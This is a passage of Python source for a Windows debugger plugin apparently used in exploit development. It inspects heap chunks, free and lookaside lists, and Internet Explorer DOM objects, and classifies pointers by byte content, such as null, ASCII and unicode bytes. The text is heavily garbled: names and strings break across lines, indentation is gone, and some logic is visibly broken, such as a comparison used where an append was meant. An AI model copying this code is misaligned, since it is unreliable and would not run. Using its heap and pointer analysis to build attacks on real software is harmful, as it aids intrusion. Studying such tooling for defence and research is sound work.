npack('<L',raw_dph_header[12:16])[0]
self.dph_block_information_traceindex = struct.u
npack('<L',raw_dph_header[16:20])[0]
self.dph_block_information_stacktrace = struct.u
npack('<L',raw_dph_header[24:28])[0]
self.dph_block_information_endstamp = struct.unp
ack('<L',raw_dph_header[28:32])[0]
except:
pass
self.headersize = headersize
self.heapbase = heapbase
self.segmentbase = segmentbase
self.size = size
self.prevsize = prevsize
self.segment = segment
self.flag = flag
self.flags = flag
self.unused = unused
self.tag = tag
self.flink = flink
self.blink = blink
self.commitsize = commitsize
self.reservesize = reservesize
self.userptr = self.chunkptr + self.headersize + self.extraheade
rsize
self.usersize = (self.size * 8) - self.unused - self.extraheader
size
self.remaining = self.unused - self.headersize - self.extraheade

rsize
self.flagtxt = getHeapFlag(self.flag)
def showChunk(self,showdata = False):
chunkshown = False
if self.chunktype == "chunk":
dbg.log("
_HEAP @ %08x, Segment @ %08x" % (self.heapb
ase,self.segmentbase))
if win7mode:
iHeap = MnHeap(self.heapbase)
if iHeap.usesLFH():
dbg.log("
Heap has LFH enabled. LFH H
eap starts at 0x%08x" % iHeap.getLFHAddress())
if "busy" in self.flagtxt.lower() and "i
nternal" in self.flagtxt.lower() and self.usersize > 0x1ff0:
dbg.log("
This chunk may be m
anaged by LFH")
dbg.log("
(
bytes
)
(bytes)")
dbg.log("
HEAP_ENTRY
Size PrevSize
Unused
Flags
UserPtr UserSize Remaining - state")
dbg.log("
%08x %08x %08x %08x [%02x] %08x
%08x %08x %s (hex)" % (self.chunkptr,self.size*8,self.prevsize*8,self.unused
,self.flag,self.userptr,self.usersize,self.unused-self.headersize,self.flagtxt))
dbg.log("
%08d %08d %08d
%08d %08d %s (dec)" % (self.size*8,self.prevsize*8,self.unused,self.us
ersize,self.unused-self.headersize,self.flagtxt))
dbg.log("")
chunkshown = True
if self.chunktype == "virtualalloc":
dbg.log("
_HEAP @ %08x, VirtualAllocdBlocks" % (self.
heapbase))
dbg.log("

FLINK : 0x%08x, BLINK : 0x%08x" % (self.f

link,self.blink))
dbg.log("
CommitSize : 0x%08x bytes, ReserveSize :
0x%08x bytes" % (self.commitsize*8, self.reservesize*8))
dbg.log("
(
bytes
)
(bytes)")
dbg.log("
HEAP_ENTRY
Size PrevSize
Unused
Flags
UserPtr UserSize - state")
dbg.log("
%08x %08x %08x %08x [%02x] %08x
%08x %s (hex)" % (self.chunkptr,self.size*8,self.prevsize*8,self.unused,self.
flag,self.userptr,self.usersize,self.flagtxt))
dbg.log("
%08d %08d %08d
%08d %s (dec)" % (self.size*8,self.prevsize*8,self.unused,self.usersize
,self.flagtxt))
dbg.log("")
chunkshown = True
if chunkshown:
requestedsize = self.usersize
dbg.log("
Chunk header size: 0x%x (%d)" % (self.hea
dersize,self.headersize))
if self.extraheadersize > 0:
dbg.log("
Extra header due to GFlags: 0x%x
(%d) bytes" % (self.extraheadersize,self.extraheadersize))
if self.dph_block_information_stacktrace > 0:
dbg.log("
DPH_BLOCK_INFORMATION Header size

: 0x%x (%d)" % (self.extraheadersize,self.extraheadersize))


dbg.log("
StartStamp
: 0x%08x" % self
.dph_block_information_startstamp)
dbg.log("
Heap
: 0x%08x" % self
.dph_block_information_heap)
dbg.log("
RequestedSize : 0x%08x" % self
.dph_block_information_requestedsize)
requestedsize = self.dph_block_information_reque
stedsize
dbg.log("
ActualSize
: 0x%08x" % self
.dph_block_information_actualsize)
dbg.log("
TraceIndex
: 0x%08x" % self
.dph_block_information_traceindex)
dbg.log("
StackTrace
: 0x%08x" % self
.dph_block_information_stacktrace)
dbg.log("
EndStamp
: 0x%08x" % self
.dph_block_information_endstamp)
dbg.log("
Size initial allocation request: 0x%x (%d
)" % (requestedsize,requestedsize))
dbg.log("
Total space for data: 0x%x (%d)" % (self.
usersize + self.unused - self.headersize,self.usersize + self.unused - self.head
ersize))
dbg.log("
Delta between initial size and total spac
e for data: 0x%x (%d)" % (self.unused - self.headersize, self.unused-self.header
size))
if showdata:
dsize = self.usersize + self.remaining
if dsize > 0 and dsize < 32:
contents = bin2hex(dbg.readMemory(self.u
serptr,self.usersize+self.remaining))
else:
contents = bin2hex(dbg.readMemory(self.u
serptr,32)) + " ..."
dbg.log("
Data : %s" % contents)
dbg.log("")
return
def showChunkLine(self,showdata = False):
return
#---------------------------------------#
# Class to access pointer properties #
#---------------------------------------#
class MnPointer:
"""
Class to access pointer properties
"""
def __init__(self,address):
# check that the address is an integer
if not type(address) == int and not type(address) == long:
raise Exception("address should be an integer or long")
self.address = address
# define the characteristics of the pointer
byte1,byte2,byte3,byte4 = splitAddress(address)
NullRange
= [0]
AsciiRange
= range(1,128)

AsciiPrintRange
AsciiUppercaseRange
AsciiLowercaseRange
AsciiAlphaRange
AsciiNumericRange
AsciiSpaceRange

=
=
=
=
=

= range(20,127)
range(65,91)
range(97,123)
AsciiUppercaseRange + AsciiLowercaseRange
range(48,58)
[32]

self.HexAddress = toHex(address)
# Nulls
self.hasNulls = (byte1 == 0) or (byte2 == 0) or (byte3 == 0) or
(byte4 == 0)
# Starts with null
self.startsWithNull = (byte1 == 0)
# Unicode
self.isUnicode = ((byte1 == 0) and (byte3 == 0))
# Unicode reversed
self.isUnicodeRev = ((byte2 == 0) and (byte4 == 0))
# Unicode transform
self.unicodeTransform = UnicodeTransformInfo(self.HexAddress)
# Ascii
if not self.isUnicode and not self.isUnicodeRev:
self.isAscii = bytesInRange(address, AsciiRange)
else:
self.isAscii = bytesInRange(address, NullRange + AsciiRa
nge)
# AsciiPrintable
if not self.isUnicode and not self.isUnicodeRev:
self.isAsciiPrintable = bytesInRange(address, AsciiPrint
Range)
else:
self.isAsciiPrintable = bytesInRange(address, NullRange
+ AsciiPrintRange)
# Uppercase
if not self.isUnicode and not self.isUnicodeRev:
self.isUppercase = bytesInRange(address, AsciiUppercaseR
ange)
else:
self.isUppercase = bytesInRange(address, NullRange + Asc
iiUppercaseRange)
# Lowercase
if not self.isUnicode and not self.isUnicodeRev:
self.isLowercase = bytesInRange(address, AsciiLowercaseR
ange)
else:
self.isLowercase = bytesInRange(address, NullRange + Asc
iiLowercaseRange)
# Numeric
if not self.isUnicode and not self.isUnicodeRev:
self.isNumeric = bytesInRange(address, AsciiNumericRange
)

else:
self.isNumeric = bytesInRange(address, NullRange + Ascii
NumericRange)
# Alpha numeric
if not self.isUnicode and not self.isUnicodeRev:
self.isAlphaNumeric = bytesInRange(address, AsciiAlphaRa
nge + AsciiNumericRange + AsciiSpaceRange)
else:
self.isAlphaNumeric = bytesInRange(address, NullRange +
AsciiAlphaRange + AsciiNumericRange + AsciiSpaceRange)
# Uppercase + Numbers
if not self.isUnicode and not self.isUnicodeRev:
self.isUpperNum = bytesInRange(address, AsciiUppercaseRa
nge + AsciiNumericRange)
else:
self.isUpperNum = bytesInRange(address, NullRange + Asci
iUppercaseRange + AsciiNumericRange)
# Lowercase + Numbers
if not self.isUnicode and not self.isUnicodeRev:
self.isLowerNum = bytesInRange(address, AsciiLowercaseRa
nge + AsciiNumericRange)
else:
self.isLowerNum = bytesInRange(address, NullRange + Asci
iLowercaseRange + AsciiNumericRange)
def __str__(self):
"""
Get pointer properties (human readable format)
Arguments:
None
Return:
String with various properties about the pointer
"""
outstring = ""
if self.startsWithNull:
outstring += "startnull,"
elif self.hasNulls:
outstring += "null,"
#check if this pointer is unicode transform
hexaddr = self.HexAddress
outstring += UnicodeTransformInfo(hexaddr)
if self.isUnicode:
outstring += "unicode,"
if self.isUnicodeRev:
outstring += "unicodereverse,"
if self.isAsciiPrintable:
outstring += "asciiprint,"
if self.isAscii:
outstring += "ascii,"
if self.isUppercase:

outstring == "upper,"
if self.isLowercase:
outstring += "lower,"
if self.isNumeric:
outstring+= "num,"
if self.isAlphaNumeric and not (self.isUppercase or self.isLower
case or self.isNumeric):
outstring += "alphanum,"
if self.isUpperNum and not (self.isUppercase or self.isNumeric):
outstring += "uppernum,"
if self.isLowerNum and not (self.isLowercase or self.isNumeric):
outstring += "lowernum,"
outstring = outstring.rstrip(",")
outstring += " {" + getPointerAccess(self.address)+"}"
return outstring
def getAddress(self):
return self.address
def isUnicode(self):
return self.isUnicode
def isUnicodeRev(self):
return self.isUnicodeRev
def isUnicodeTransform(self):
return self.unicodeTransform != ""
def isAscii(self):
return self.isAscii
def isAsciiPrintable(self):
return self.isAsciiPrintable
def isUppercase(self):
return self.isUppercase
def isLowercase(self):
return self.isLowercase
def isUpperNum(self):
return self.isUpperNum
def isLowerNum(self):
return self.isLowerNum
def isNumeric(self):
return self.isNumeric
def isAlphaNumeric(self):
return self.alphaNumeric
def hasNulls(self):
return self.hasNulls
def startsWithNull(self):

return self.startsWithNull
def belongsTo(self):
"""
Retrieves the module a given pointer belongs to
Arguments:
None
Return:
String with the name of the module a pointer belongs to,
or empty if pointer does not belong to a module
"""
if len(g_modules)==0:
populateModuleInfo()
for thismodule,modproperties in g_modules.iteritems():
thisbase = getModuleProperty(thismodule,"base")
thistop = getModuleProperty(thismodule,"top")
if (self.address >= thisbase) and (self.address
<= thistop):
return thismodule
return ""
def isOnStack(self):
"""
Checks if the pointer is on one of the stacks of one of the thre
ads in the process
Arguments:
None
Return:
Boolean - True if pointer is on stack
"""
stacks = getStacks()
for stack in stacks:
if (stacks[stack][0] <= self.address) and (self.address
< stacks[stack][1]):
return True
return False
def isInHeap(self):
"""
Checks if the pointer is part of one of the pages associated wit
h process heaps/segments
Arguments:
None
Return:
Boolean - True if pointer is in heap
"""
segmentcnt = 0
for heap in dbg.getHeapsAddress():
# part of a segment ?
segments = getSegmentsForHeap(heap)
for segment in segments:
if segmentcnt == 0:
# in heap data structure
if self.address >= heap and self

.address <= segment:


return True
segmentcnt += 1
if self.address >= segment:
last = segments[segment][3]
if self.address >= segment and s
elf.address <= last:
return True
# maybe it's in a VA List ?
for heap in dbg.getHeapsAddress():
mHeap = MnHeap(heap)
valist = mHeap.getVirtualAllocdBlocks()
if len(valist) > 0:
for vachunk in valist:
thischunk = valist[vachunk]
if self.address >= vachunk and self.addr
ess <= (vachunk+(thischunk.commitsize*8)):
return True
return False
def getHeapInfo(self):
global silent
oldsilent = silent
silent = True
foundinheap, foundinsegment, foundinva, foundinchunk = self.show
HeapBlockInfo()
silent = oldsilent
return [foundinheap, foundinsegment, foundinva, foundinchunk]
def getHeapInfo_old(self):
"""
Returns heap related information about a given pointer
"""
heapinfo = {}
heapinfo["heap"] = 0
heapinfo["segment"] = 0
heapinfo["chunk"] = 0
heapinfo["size"] = 0
allheaps = dbg.getHeapsAddress()
for heap in allheaps:
dbg.log("checking heap 0x%08x for 0x%08x" % (heap,self.a
ddress))
theap = dbg.getHeap(heap)
heapchunks = theap.getChunks(heap)
if len(heapchunks) > 0 and not silent:
dbg.log("Querying segment(s) for heap 0x%s" % to
Hex(heap))
for hchunk in heapchunks:
chunkbase = hchunk.get("address")
chunksize = hchunk.get("size")
if self.address >= chunkbase and self.address <=
(chunkbase+chunksize):
heapinfo["heap"] = heap
heapinfo["segment"] = 0
heapinfo["chunk"] = chunkbase
heapinfo["size"] = chunksize
return heapinfo
return heapinfo

def showObjectInfo(self):
# check if chunk is a DOM object
if __DEBUGGERAPP__ == "WinDBG":
cmdtorun = "dds 0x%08x L 1" % self.address
output = dbg.nativeCommand(cmdtorun)
outputlower = output.lower()
outputlines = output.split("\n")
if "vftable" in outputlower:
# is this Internet Explorer ?
ieversion = 0
if isModuleLoadedInProcess('iexplore.exe') and i
sModuleLoadedInProcess('mshtml.dll'):
ieversionstr = getModuleProperty('iexplo
re.exe','version')
dbg.log("
Internet Explorer v%s det
ected" % ieversionstr)
ieversion = 0
if ieversionstr.startswith("8."):
ieversion = 8
if ieversionstr.startswith("9."):
ieversion = 9
if ieversionstr.startswith("10."):
ieversion = 10
dbg.log("
0x%08x may be the start of an obj
ect, vtable pointer: %s" % (self.address,outputlines[0]))
vtableptr_s = outputlines[0][10:18]
try:
vtableptr = hexStrToInt(vtableptr_s)
dbg.log("
Start of vtable at 0x%08x
: (showing first 4 entries only)" % vtableptr)
cmdtorun = "dds 0x%08x L 4" % vtableptr
output = dbg.nativeCommand(cmdtorun)
outputlines = output.split("\n")
cnt = 0
for line in outputlines:
if line.replace(" ","") != "":
dbg.log("
+0x%x ->
%s" % (cnt,line))
cnt += 4
if "mshtml!" in outputlower and ieversio
n > 7:
# see if we can find the object
type, refcounter, attribute count, parent, etc
refcounter = None
attributeptr = None
try:
refcounter = dbg.readLon
g(self.address + 4)
except:
pass
try:
if ieversion == 8:
attributeptr = d
bg.readLong(self.address + 0xc)
if ieversion == 9:
attributeptr = d
bg.readLong(self.address + 0x10)
except:
pass

if not refcounter is None and no


t attributeptr is None:
dbg.log("

Refcounte

r: 0x%x (%d)" % (refcounter,refcounter))


if refcounter > 0x20000:
dbg.log("
N
ote: a huge refcounter value may indicate this is not a real DOM object")
if attributeptr == 0:
dbg.log("
N
o attributes found")
else:
ptrx = MnPointer
(attributeptr)
if ptrx.isInHeap
():
dbg.log(
"
Attribute info structure stored at 0x%08x" % attributeptr)
offset_n
r = 0x4
nr_multi
plier = 4
offset_t
ableptr = 0xc
offset_t
abledata = 0
variant_
offset = 4
attname_
offset = 8
attvalue
_offset = 0xc
if iever
sion == 9:
nr_multiplier = 1
offset_nr = 0x4
offset_tableptr = 0x8
offset_tabledata = 4
variant_offset = 1
attname_offset = 4
attvalue_offset = 8
nr_attri
butes = dbg.readLong(attributeptr + offset_nr) / nr_multiplier
attribut
etableptr = dbg.readLong(attributeptr + offset_tableptr)
dbg.log(
"

+0x%02x : Nr of attributes: %d" % (offset_nr,nr_attributes))

"
tr))

dbg.log(
+0x%02x : Attribute table at 0x%08x" % (offset_tableptr,attributetablep
attcnt =

while at
tcnt < nr_attributes:
try:
dbg.log("
tr))

Attribute %d (at 0x%08x) :" % (attcnt+1,attributetablep

sec_dword = "%08x" % struct.unpack('<L',dbg.readMemory(attributetableptr+4,4))[0


]
variant_type = int(sec_dword[0:2][:-1],16)
dbg.log("
tType(variant_type)))

Variant Type : 0x%02x (%s)" % (variant_type,getVarian

if variant_type > 0x1:


att_name = "<n.a.>"
try:
att_name_ptr = dbg.readLong(attributetableptr+attname_offset)
att_name_ptr_value = dbg.readLong(att_name_ptr+4)
att_name = dbg.readWString(att_name_ptr_value)
except:
att_name = "<n.a.>"
dbg.log("
0x%08x + 0x%02x (0x%08x): 0x%08x : &Attribute name :
'%s'" % (attributetableptr,attname_offset,attributetableptr+attname_offset,att_n
ame_ptr,att_name))
att_value_ptr = dbg.readLong(attributetableptr+attvalue_offset)
ptrx = MnPointer(att_value_ptr)
if ptrx.isInHeap():
att_value = ""
if variant_type == 0x8:
att_value = dbg.readWString(att_value_ptr)
if variant_type == 0x16:
attv = dbg.readLong(att_value_ptr)
att_value = "0x%08x (%s)" % (attv,int("0x%08x" % attv,16))
if variant_type == 0x1e:
att_from = dbg.readLong(att_value_ptr)
att_value = dbg.readString(att_from)

if variant_type == 0x1f:
att_from = dbg.readLong(att_value_ptr)
att_value = dbg.readWString(att_from)
else:
att_value = "0x%08x (%s)" % (att_value_ptr,int("0x%08x" % att_value_ptr,16))
dbg.log("
0x%08x + 0x%02x (0x%08x): 0x%08x : &Value : %s" % (at
tributetableptr,attvalue_offset,attributetableptr+attvalue_offset,att_value_ptr,
att_value))
except:
dbg.logLines(traceback.format_exc(),highlight=True)
break
attributetableptr += 0x10
attcnt += 1
else:
dbg.log(
Invalid attribute ptr found (0x%08x). This may not be a real DOM object."
% attributeptr)

"

offset_domtree = 0x14
if ieversion == 9:
offset_domtree = 0x1C
domtreeptr = dbg.readLong(self.a
ddress + offset_domtree)
if not domtreeptr is None:
dptrx = MnPointer(domtre
eptr)
if dptrx.isInHeap():
currobj = self.a
ddress
moreparents = Tr
ue
parentcnt = 0
dbg.log("
O
bject +0x%02x : Ptr to DOM Tree info: 0x%08x" % (offset_domtree,domtreeptr))
while moreparent
s:
# walk t
ree, get parents
parentsp
aces = " " * parentcnt
cmdtorun
= "dds poi(poi(poi(0x%08x+0x%02x)+4)) L 1" % (currobj,offset_domtree)
output =
dbg.nativeCommand(cmdtorun)
outputlo
wer = output.lower()
outputli
nes = output.split("\n")

if "vfta
ble" in outputlines[0]:
dbg.log("

%s Parent : %s" % (parentspaces,outputlines[0]))

parts = outputlines[0].split(" ")


try:
currobj = int(parts[0],16)
except:
currobj = 0
else:
moreparents = False
parentcn
t += 3
if curro
bj == 0:
moreparents = False
except:
dbg.logLines(traceback.format_exc(),high
light=True)
pass
return

def showHeapBlockInfo(self):
"""
Find address in heap and print out info about heap, segment, chu
nk it belongs to
"""
allheaps = []
heapkey = 0
foundinheap = None
foundinsegment = None
foundinva = None
foundinchunk = None
try:
allheaps = dbg.getHeapsAddress()
except:
allheaps = []
for heapbase in allheaps:
mHeap = MnHeap(heapbase)
heapbase_extra = ""
frontendinfo = []
frontendheapptr = 0
frontendheaptype = 0
if win7mode:
heapkey = mHeap.getEncodingKey()
if mHeap.usesLFH():
frontendheaptype = 0x2

heapbase_extra = " [LFH] "


frontendheapptr = mHeap.getLFHAddress()
frontendinfo = [frontendheaptype,frontendheapptr]
segments = mHeap.getHeapSegmentList()
#segments
for seg in segments:
segstart = segments[seg][0]
segend = segments[seg][1]
FirstEntry = segments[seg][2]
LastValidEntry = segments[seg][3]
allchunks = walkSegment(FirstEntry,LastValidEntr
y,heapbase)
for chunkptr in allchunks:
thischunk = allchunks[chunkptr]
thissize = thischunk.size*8
headersize = thischunk.headersize
if self.address >= chunkptr and self.add
ress < (chunkptr + thissize):
# found it !
if not silent:
dbg.log("")
dbg.log("Address 0x%08x
found in " % self.address)
thischunk.showChunk(show
data = True)
self.showObjectInfo()
self.showHeapStackTrace(
thischunk)
if thissize < 1025:
self.dumpObjectA
tLocation(thissize)
foundinchunk = thischunk
foundinsegment = seg
foundinheap = heapbase
break
if not foundinchunk == None:
break
# VA
if foundinchunk == None:
# maybe it's in VirtualAllocdBlocks
vachunks = mHeap.getVirtualAllocdBlocks()
for vaptr in vachunks:
thischunk = vachunks[vaptr]
if self.address >= vaptr and self.addres
s <= vaptr + (thischunk.commitsize*8):
if not silent:
dbg.log("")
dbg.log("Address 0x%08x
found in VirtualAllocdBlocks of heap 0x%08x" % (self.address,heapbase))
thischunk.showChunk(show
data = True)
self.showObjectInfo()
self.showHeapStackTrace(
thischunk)
if thissize < 1025:
self.dumpObjectA
tLocation(thissize)

foundinchunk = thischunk
foundinva = vaptr
foundinheap = heapbase
# perhaps chunk is in FEA
if not win7mode:
foundinlal = False
foundinfreelist = False
FrontEndHeap = mHeap.getFrontEndHeap()
if FrontEndHeap > 0:
fea_lal = mHeap.getLookAsideList()
for lal_table_entry in sorted(fea_lal.ke
ys()):
nr_of_chunks = len(fea_lal[lal_t
able_entry])
lalhead = struct.unpack('<L',dbg
.readMemory(FrontEndHeap + (0x30 * lal_table_entry),4))[0]
for chunkindex in fea_lal[lal_ta
ble_entry]:
lalchunk = fea_lal[lal_t
able_entry][chunkindex]
chunksize = lalchunk.siz
e * 8
flag = getHeapFlag(lalch
unk.flag)
if (self.address >= lalc
hunk.chunkptr) and (self.address < lalchunk.chunkptr+chunksize):
foundinlal = Tru
e
if not silent:
dbg.log(
"Address is part of chunk on LookAsideList[%d], heap 0x%08x" % (lal_table_entry,
mHeap.heapbase))
break
if foundinlal:
expectedsize = lal_table
_entry * 8
if not silent:
dbg.log("
LA
L [%d] @0x%08x, Expected Chunksize: 0x%x (%d), %d chunks, Flink: 0x%08x" % (lal_
table_entry,FrontEndHeap + (0x30 * lal_table_entry),expectedsize,expectedsize,nr
_of_chunks,lalhead))
for chunkindex in fea_la
l[lal_table_entry]:
lalchunk = fea_l
al[lal_table_entry][chunkindex]
foundchunk = lal
chunk
chunksize = lalc
hunk.size * 8
flag = getHeapFl
ag(lalchunk.flag)
extra = "
"
if (self.address
>= lalchunk.chunkptr) and (self.address < lalchunk.chunkptr+chunksize):
extra =
" --> "
if not silent:
dbg.log(

"%sChunkPtr: 0x%08x, UserPtr: 0x%08x, Flink: 0x%08x, ChunkSize: 0x%x, UserSize:


0x%x, UserSpace: 0x%x (%s)" % (extra,lalchunk.chunkptr,lalchunk.userptr,lalchunk
.flink,chunksize,lalchunk.usersize,lalchunk.usersize + lalchunk.remaining,flag))
if not silent:
self.showObjectI
nfo()
if chunksize < 1
025:
self.dum
pObjectAtLocation(chunksize)
break
if not foundinlal:
# or maybe in BEA
thisfreelist = mHeap.getFreeList()
thisfreelistinusebitmap = mHeap.getFreeL
istInUseBitmap()
for flindex in thisfreelist:
freelist_addy = heapbase + 0x178
+ (8 * flindex)
expectedsize = ">1016"
expectedsize2 = ">0x%x" % 1016
if flindex != 0:
expectedsize2 = str(8 *
flindex)
expectedsize = "0x%x" %
(8 * flindex)
for flentry in thisfreelist[flin
dex]:
freelist_chunk = thisfre
elist[flindex][flentry]
chunksize = freelist_chu
nk.size * 8
if (self.address >= free
list_chunk.chunkptr) and (self.address < freelist_chunk.chunkptr+chunksize):
foundinfreelist
= True
if not silent:
dbg.log(
"Address is part of chunk on FreeLists[%d] at 0x%08x, heap 0x%08x:" % (flindex,f
reelist_addy,mHeap.heapbase))
break
if foundinfreelist:
flindicator = 0
for flentry in thisfreel
ist[flindex]:
freelist_chunk =
thisfreelist[flindex][flentry]
chunksize = free
list_chunk.size * 8
extra = "
"
if (self.address
>= freelist_chunk.chunkptr) and (self.address < freelist_chunk.chunkptr+chunksi
ze):
extra =
" --> "
foundchu
nk = freelist_chunk
if not silent:
dbg.log(

"%sChunkPtr: 0x%08x, UserPtr: 0x%08x, Flink: 0x%08x, Blink: 0x%08x, ChunkSize: 0


x%x (%d), Usersize: 0x%x (%d)" % (extra,freelist_chunk.chunkptr,freelist_chunk.u
serptr,freelist_chunk.flink,freelist_chunk.blink,chunksize,chunksize,freelist_ch
unk.usersize,freelist_chunk.usersize))
if flindex != 0
and chunksize != (8*flindex):
dbg.log(
"
** Header may be corrupted! **", highlight = True)
flindicator = 1
if flindex > 1 and int(t
hisfreelistinusebitmap[flindex]) != flindicator:
if not silent:
dbg.log(
"
** FreeListsInUseBitmap mismatch for index %d! **" % flindex, highlight =
True)
if not silent:
self.showObjectI
nfo()
if chunksize < 1
025:
self.dum
pObjectAtLocation(chunksize)
break
return foundinheap, foundinsegment, foundinva, foundinchunk
def showHeapStackTrace(self,thischunk):
# show stacktrace if any
if __DEBUGGERAPP__ == "WinDBG":
stacktrace_address = thischunk.dph_block_information_sta
cktrace
stacktrace_index = thischunk.dph_block_information_trace
index
stacktrace_startstamp = 0xabcdaaaa
if thischunk.hasust and stacktrace_address > 0:
if stacktrace_startstamp == thischunk.dph_block_
information_startstamp:
cmd2run = "dds 0x%08x L 24" % (stacktrac
e_address)
output = dbg.nativeCommand(cmd2run)
outputlines = output.split("\n")
if "!" in output:
dbg.log("Stack trace, index 0x%x
:" % stacktrace_index)
dbg.log("-------------------------")
for outputline in outputlines:
if "!" in outputline:
lineparts = outp
utline.split(" ")
if len(lineparts
) > 2:
firstpar
t = len(lineparts[0])+1
dbg.log(
outputline[firstpart:])
return
def memLocation(self):
"""
Gets the memory location associated with a given pointer (module

name, stack, heap or empty)


Arguments:
None
Return:
String
"""
memloc = self.belongsTo()
if memloc == "":
if self.isOnStack():
return "Stack"
if self.isInHeap():
return "Heap"
return "??"
return memloc
def getPtrFunction(self):
funcinfo = ""
global silent
silent = True
if __DEBUGGERAPP__ == "WinDBG":
lncmd = "ln 0x%08x" % self.address
lnoutput = dbg.nativeCommand(lncmd)
for line in lnoutput.split("\n"):
if line.replace(" ","") != "" and line.find("%08
x" % self.address) > -1:
lineparts = line.split("|")
funcrefparts = lineparts[0].split(")")
if len(funcrefparts) > 1:
funcinfo = funcrefparts[1].repla
ce(" ","")
break
if funcinfo == "":
memloc = self.belongsTo()
if not memloc == "":
mod = MnModule(memloc)
if not mod is None:
start = mod.moduleBase
offset = self.address - start
offsettxt = ""
if offset > 0:
offsettxt = "+0x%08x" % offset
else:
offsettxt = "__base__"
funcinfo = memloc+offsettxt
silent = False
return funcinfo
def dumpObjectAtLocation(self,size,levels=0,nestedsize=0,customthislog="
",customlogfile=""):
dumpdata = {}
origdumpdata = {}
if __DEBUGGERAPP__ == "WinDBG":
addy = self.address
if not silent:
dbg.log("")

dbg.log("---------------------------------------------------")
dbg.log("[+] Dumping object at 0x%08x, 0x%02x by
tes" % (addy,size))
if levels > 0:
dbg.log("[+] Also dumping up to %d level
s deep, max size of nested objects: 0x%02x bytes" % (levels, nestedsize))
dbg.log("")
parentlist = []
levelcnt = 0
if customthislog == "" and customlogfile == "":
logfile = MnLog("dumpobj.txt")
thislog = logfile.reset()
else:
logfile = customlogfile
thislog = customthislog
addys = [addy]
parent = ""
parentdata = {}
while levelcnt <= levels:
thisleveladdys = []
for addy in addys:
cmdtorun = "dds 0x%08x L 0x%02x/4" % (ad
dy,size)
startaddy = addy
endaddy = addy + size
output = dbg.nativeCommand(cmdtorun)
outputlines = output.split("\n")
offset = 0
for outputline in outputlines:
if not outputline.replace(" ",""
) == "":
loc = outputline[0:8]
content = outputline[10:
18]
symbol = outputline[19:]
if not "??" in content a
nd symbol.replace(" ","") == "":
contentaddy = he
xStrToInt(content)
info = self.getL
ocInfo(hexStrToInt(loc),contentaddy,startaddy,endaddy)
info.append(cont
ent)
dumpdata[hexStrT
oInt(loc)] = info
else:
info = ["",symbo
l,"",content]
dumpdata[hexStrT
oInt(loc)] = info
if addy in parentdata:
pdata = parentdata[addy]
parent = "Referenced at 0x%08x (
object 0x%08x, offset +0x%02x)" % (pdata[0],pdata[1],pdata[0]-pdata[1])
else:
parent = ""
self.printObjDump(dumpdata,logfile,thisl
og,size,parent)

for loc in dumpdata:


thisdata = dumpdata[loc]
if thisdata[0] == "ptr_obj":
thisptr = int(thisdata[3
],16)
thisleveladdys.append(th
isptr)
parentdata[thisptr] = [l
oc,addy]
if levelcnt == 0:
origdumpdata = dumpdata
dumpdata = {}
addys = thisleveladdys
size = nestedsize
levelcnt += 1
dumpdata = origdumpdata
return dumpdata
def printObjDump(self,dumpdata,logfile,thislog,size=0,parent=""):
# dictionary, key = address
# 0 = type
# 1 = content info
# 2 = string type
# 3 = content
sortedkeys = sorted(dumpdata)
if len(sortedkeys) > 0:
startaddy = sortedkeys[0]
sizem = ""
parentinfo = ""
if size > 0:
sizem = " (0x%02x bytes)" % size
logfile.write("",thislog)
if parent == "":
logfile.write("=" * 60,thislog)
line = ">> Object at 0x%08x%s:" % (startaddy,sizem)
if not silent:
dbg.log("")
dbg.log(line)
logfile.write(line,thislog)
if parent != "":
line = " %s" % parent
if not silent:
dbg.log(line)
logfile.write(line,thislog)
line = "Offset Address
Contents
logfile.write(line,thislog)
if not silent:
dbg.log(line)
line = "------ -------------logfile.write(line,thislog)
if not silent:
dbg.log(line)

Info"

-----"

offset = 0
for loc in sortedkeys:
info = dumpdata[loc]
if len(info) > 1:
content = ""
if len(info) > 3:
content = info[3]
contentinfo = toAsciiOnly(info[1])
offsetstr = toSize("%02x" % offset,4)
line = "+%s 0x%08x | 0x%s %s" % (offs
etstr,loc,content,contentinfo)
if not silent:
dbg.log(line)
logfile.write(line,thislog)
offset += 4
return
def getLocInfo(self,loc,addy,startaddy,endaddy):
locinfo = []
if addy >= startaddy and addy <= endaddy:
offset = addy - startaddy
locinfo = ["self","ptr to self+0x%08x" % offset,""]
return locinfo
ismapped = False
extra = ""
ptrx = MnPointer(addy)
memloc = ptrx.memLocation()
if not "??" in memloc:
if "Stack" in memloc or "Heap" in memloc:
extra = "(%s) " % memloc
else:
detailmemloc = ptrx.getPtrFunction()
extra = " (%s.%s)" % (memloc,detailmemloc)
# maybe it's a pointer to an object ?
cmd2run = "dds 0x%08x L 1" % addy
output = dbg.nativeCommand(cmd2run)
outputlines = output.split("\n")
if len(outputlines) > 0:
if not "??" in outputlines[0]:
ismapped = True
ptraddy = outputlines[0][10:18]
ptrinfo = outputlines[0][19:]
if ptrinfo.replace(" ","") != "":
if "vftable" in ptrinfo or "Heap" in mem
loc:
locinfo = ["ptr_obj","%sptr to 0
x%08x : %s" % (extra,hexStrToInt(ptraddy),ptrinfo),str(addy)]
else:
locinfo = ["ptr","%sptr to 0x%08
x : %s" % (extra,hexStrToInt(ptraddy),ptrinfo),str(addy)]
return locinfo
if ismapped:

# pointer to a string ?
try:
strdata = dbg.readString(addy)
if len(strdata) > 2:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to ASCII (0x
%02x) '%s'" % (extra,len(strdata),datastr),"ascii"]
return locinfo
except:
pass
# maybe it's unicode ?
try:
strdata = dbg.readWString(addy)
if len(strdata) > 2:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to UNICODE (
0x%02x) '%s'" % (extra,len(strdata),datastr),"unicode"]
return locinfo
except:
pass
# maybe the pointer points into a function ?
ptrf = ptrx.getPtrFunction()
if not ptrf == "":
locinfo = ["ptr_func","%sptr to %s" % (extra,ptr
f),str(addy)]
return locinfo
# BSTR Unicode ?
try:
bstr = struct.unpack('<L',dbg.readMemory(addy,4)
)[0]
strdata = dbg.readWString(addy+4)
if len(strdata) > 2 and (bstr == len(strdata)+1)
:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to BSTR UNIC
ODE (0x%02x) '%s'" % (extra,bstr,datastr),"unicode"]
return locinfo
except:
pass
# pointer to a BSTR ASCII?
try:
strdata = dbg.readString(addy+4)
if len(strdata) > 2 and (bstr == len(strdata)/2)
:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
